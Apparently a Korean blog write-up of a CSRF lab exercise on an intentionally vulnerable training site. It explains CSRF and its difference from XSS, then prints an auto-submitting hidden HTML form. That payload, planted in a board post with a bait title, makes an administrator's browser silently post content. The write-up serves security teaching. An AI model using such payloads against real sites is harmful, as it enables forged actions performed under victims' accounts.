본문으로 바로가기

◈ 관리자 권한으로 글쓰기


K-Sheild 에서 제공한 취약한 홈페이지를 대상으로 CSRF 실습


1. 크로스사이트 리퀘스트 변조 (CSRF)

  1) 희생자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 웹 사이트에 요청하도록 만드는 공격

  2) 조작된 Request를 웹 애플리케이션에 전송하는 공격

  3) CSRF가 적용되려면 수정/삭제하는 액션에서 사용자를 구분하는 파라미터 값이 존재하지 않아야 함


2. 크로스사이트 리퀘스트 변조의 원인과 결과

  1) 사용자 입력 값에 대한 적절한 필터링 및 인증에 대한 유효성 검증이 미흡하기 때문에 발생

  2) 서버 내의 파일 변경 및 서버 다운 등의 위험 존재


3. CSRF와 XSS 차이

  1) CSRF는 인증된 사용자가 정상적인 Request를 보내 서버에서 실행

  2) XSS는 공격자가 작성한 악성 스크립트가 이용자(클라이언트)에서 실행


4. 공격 절차

  1) 관리자가 해당 글을 읽도록 적절한 제목을 통해 유도 ( ex. "관리자님 봐주세요" )

  2) 게시글 등록 시 프록시 툴을 사용하여 request 메시지 확인

  3) 관리자가 해당 글을 읽으면 새로운 문의 글이 자동으로 등록되는 내용의 csrf 스크립트 포함

  4) master 계정으로 로그인 하고 해당 글을 클리하여 공격이 정상적으로 실행되는지 확인


[ 공격자 ]

( 프록시 툴을 이용하여 request 메시지 확인 그림은 추후 업로드 예정 )


request메시지의 각 항목이 담고 있는 데이터를 추측하여 그림 1-2 처럼 일반사용자 계정으로 게시판에 글을 등록한다.

<body onload="document.form.submit();">
<form method="POST" action="http://dev.1shop.com/board/qna/try-add" name="form" enctype="multipart/form-data">
<input type="hidden" name="board_id" value="qna">
<input type="hidden" name="member_seq" value="1">
<input type="hidden" name="category" value="기타 문의">
<input type="hidden" name="title" value="CSRF 성공">
<input type="hidden" name="contents" value="CSRF 성공!!!">
</form>
cs

그림 1-2


[ 피해자(관리자) ]

그림 1-3 처럼 관리자의 계정으로 그림 1-4 에서 보이는 관리자의 눈길을 끄는 글을 클릭한다.

그림 1-3

그림 1-4

글을 클릭하면 csrf 스크립트가 실행되고 해당 글에는 문의내용이 보이지 않아 관리자는 대수롭지 않게 넘기게 된다.

그림 1-5

하지만, 그림 1-6 에서 보이는 것처럼 csrf 스크립트를 읽는 순간 관리자의 권한으로 게시글이 등록되어 있음을 확인 할 수 있다.

1111그림 1-6